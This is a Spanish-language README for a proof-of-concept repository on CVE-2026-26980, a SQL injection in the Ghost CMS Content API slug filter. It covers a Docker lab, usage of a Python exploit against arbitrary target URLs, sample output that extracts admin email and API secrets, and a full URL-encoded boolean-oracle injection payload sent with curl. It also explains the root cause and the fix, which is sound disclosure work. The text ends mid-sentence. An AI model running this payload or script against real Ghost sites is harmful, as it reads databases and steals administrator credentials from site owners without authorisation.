
PoC en Python y laboratorio Docker que demuestran una inyección SQL no autenticada en el filtro slug de la Content API de TryGhost Ghost CMS, extrayendo valores de la base de datos mediante un oráculo booleano.
★ CVE-2026-26980 TryGhost Ghost CMS Content API SQL Injection PoC ★
https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c
CVE-2026-26980 es una vulnerabilidad de inyección SQL no autenticada en TryGhost Ghost CMS Content API. La ruta vulnerable es accesible a través de la lógica pública de manejo de filtros de la Content API cuando se procesa el ordenamiento slug:[...].
Este PoC construye un laboratorio controlado de Ghost 6.19.0 y demuestra cómo una solicitud pública a la Content API puede convertirse en una primitiva de lectura de base de datos basada en booleanos.
| Producto | Versión afectada | Versión corregida | Tipo de vulnerabilidad |
|---|---|---|---|
| TryGhost Ghost CMS | >= 3.24.0, < 6.19.1 | 6.19.1 | Inyección SQL |
El entorno de laboratorio utiliza Ghost 6.19.0.
Construya y ejecute el entorno vulnerable de Ghost CMS usando Docker:
docker build -t cve-2026-26980 .
docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980
Ejemplo:
http://127.0.0.1:9102/
El laboratorio ejecuta una instancia real vulnerable de Ghost 6.19.0 en el puerto 9102.
La clave de la Content API del laboratorio es:
EQSTLab299
CVE-2026-26980 : Vulnerabilidad de inyección SQL en TryGhost Ghost CMS Content API
description: Una vulnerabilidad de inyección SQL en TryGhost Ghost CMS anterior a 6.19.1 permite a un atacante no autenticado con acceso a una clave pública de la Content API leer valores arbitrarios de la base de datos a través del parámetro filter de la Content API. El problema ocurre en la ruta de ordenamiento del filtro slug:[...], donde los valores de slug controlados por el usuario se insertan en SQL sin procesar sin la debida vinculación de parámetros.
Las claves de la Content API de Ghost se exponen comúnmente a los navegadores por diseño a través de temas, búsqueda, portal o JavaScript del frontend. Esto significa que la ruta vulnerable puede ser accesible sin autenticación en Ghost Admin.
git clone https://github.com/EQSTLab/CVE-2026-26980.git
cd CVE-2026-26980
python3 poc.py --url [Target]
Clave de Content API personalizada opcional:
python3 poc.py --url [Target] --key [Content API Key]
python3 poc.py --url [Target]
python3 poc.py --url [Target] --key EQSTLab299
Ejemplo de [Target]: http://127.0.0.1:9102
========================================================================
Ghost CMS - Unauthenticated SQLi Data Extraction
========================================================================
Target: [Target]
API Key: [Content API Key]
Endpoint: Content API (public, no auth)
[*] Calibrating oracle... OK
[*] Phase 1: Recon (fast checks)
length(users.email) = 17
length(users.password) = 60
count(settings) (3 chars): 110
count(users) (1 chars): 1
count(api_keys) (1 chars): 9
[*] Phase 2: Extracting values
Admin email (17 chars): [email protected]
Admin name (5 chars): Ghost
Admin API key ID (24 chars): <redacted>
Admin API secret (64 chars): <redacted>
[*] Phase 3: DB snapshot
Result: DB read primitive confirmed
El PoC público demuestra el impacto de lectura de base de datos extrayendo metadatos de base de datos seguros para el laboratorio y material de claves de la API de Ghost. No imprime la flag del desafío.
GET /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...]
La lógica vulnerable existe en la ruta de serialización de entrada de la Content API de Ghost para los filtros slug:[...]. Ghost admite filtros de slug en estilo lista y preserva el orden de slug solicitado generando una expresión ORDER BY CASE.
En las versiones vulnerables, los valores de slug controlados por el usuario se insertan en un fragmento SQL. Un patrón vulnerable simplificado es:
for (const [index, slug] of slugs.entries()) {
order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`);
}
Debido a que slug es controlado por el atacante y se inserta en la cadena SQL sin vinculación de parámetros, un filtro de Content API manipulado puede escapar de la comparación prevista e inyectar lógica SQL adicional.
El PoC del laboratorio utiliza dos tags públicos, bacon y chorizo, como un oráculo booleano observable.
bacon se ordena primero.chorizo se ordena primero.Al repetir esta prueba con diferentes condiciones SQL, el PoC puede inferir valores de la base de datos carácter por carácter.
Verificación del oráculo booleano con curl:
curl -s "[Target]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D"
La causa raíz es la construcción insegura de un fragmento SQL ORDER BY CASE a partir de valores de slug controlados por el usuario. El código vulnerable intenta preservar el orden de respuesta de la Content API, pero trata los valores de filtro NQL analizados como texto SQL confiable.
Una corrección robusta debe:
Ghost corrigió este problema en 6.19.1 reemplazando la interpolación sin procesar con vinculaciones de consulta parametrizadas.
Este es un problema CWE-89: Neutralización incorrecta de elementos especiales utilizados en un comando SQL.
Debido a que la Ghost Content API es intencionalmente pública, esta vulnerabilidad puede permitir a un atacante no autenticado crear una primitiva de lectura de base de datos a través de un endpoint de contenido público. Dependiendo del contenido y los permisos de la base de datos, un atacante podría ser capaz de: